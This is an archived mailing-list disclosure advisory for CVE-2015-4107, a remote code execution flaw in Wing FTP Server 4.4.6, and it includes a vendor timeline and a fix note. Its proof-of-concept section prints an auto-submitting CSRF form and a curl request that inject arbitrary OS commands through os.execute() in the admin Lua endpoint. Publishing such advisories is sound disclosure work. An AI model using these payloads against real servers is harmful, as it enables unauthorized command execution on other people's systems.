[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[CVE-2015-4107] Wing FTP Server Remote Code Execution vulnerability



Exploit Title: Wing FTP Server Remote Code Execution vulnerability
Product: Wing FTP Server
Vulnerable Versions: 4.4.6 and all previous versions
Tested Version: 4.4.6
Advisory Publication: 05/06/2015
Latest Update: 05/06/2015
Vulnerability Type: Improper Control of Generation of Code [CWE-94]
CVE Reference: CVE-2015-4107
Credit: Alex Haynes

Advisory Details:


(1) Vendor & Product Description
--------------------------------
Vendor:Wing FTP software


Product & Version:
Wing FTP Server v 4.4.6

Vendor URL & Download:
http://www.wftpserver.com/

Product Description:
"Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server."


(2) Vulnerability Details:
--------------------------
The admin interface of Wing FTP Server is vulnerable to a Remote Code Execution (RCE) vulnerability. 

Proof of concept for RCE [CVE-2015-4107]:
-----------------------------------------

The RCE can be exploited in two scenarios, either by a CSRF attack (the admin interface is vulnerable to CSRF attacks) or by being authenticated to the admin interface. The attack leverages the LUA CLI to inject commands at the same privilege as the web server.

The RCE via CSRF POC

<html>
  <body>
    <form action="http://<server address>:5466/admin_lua_script.html" method="POST" enctype="text/plain">
      <input type="hidden" name="command" value="os.execute('<any OS command here>')" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

RCE via authenticated administrator

1) Either utilising the LUA Console interface directly and using the os.execute('<OS command here>') method.
2) POST directly using CURL with an authenticated cookie:
curl -i -s -k  -X 'POST' -b 'admin_lang=english; UIDADMIN=b8b208e2239f462c11641eaa10cde7b0' --data-binary $'command=os.execute(\'cmd.exe\')'
'http://<server address>:5466/admin_lua_script.html'

Parameter names: "command"
Parameter Type: POST
Attack Pattern:
Any OS command can be inserted into the os.execute('') method.


(3) Advisory Timeline:
----------------------
27/05/2015 - First Contact
27/05/2015 - Vendor responds with requests for details of vulnerabilities.
28/05/2015 - Vulnerability details sent with POC.
28/05/2015 - Vendor requests clarification on impact and various attack scenarios.
28/05/2015 - Vulnerability scenarios defined.
29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure.
05/06/2015 - Public disclosure

(4)Solution:
------------
CSRF attack vector fixed in version 4.4.7. No fix for authenticated RCE at this time.


(5) Credits:
------------
Discovered by Alex Haynes

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4107
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4107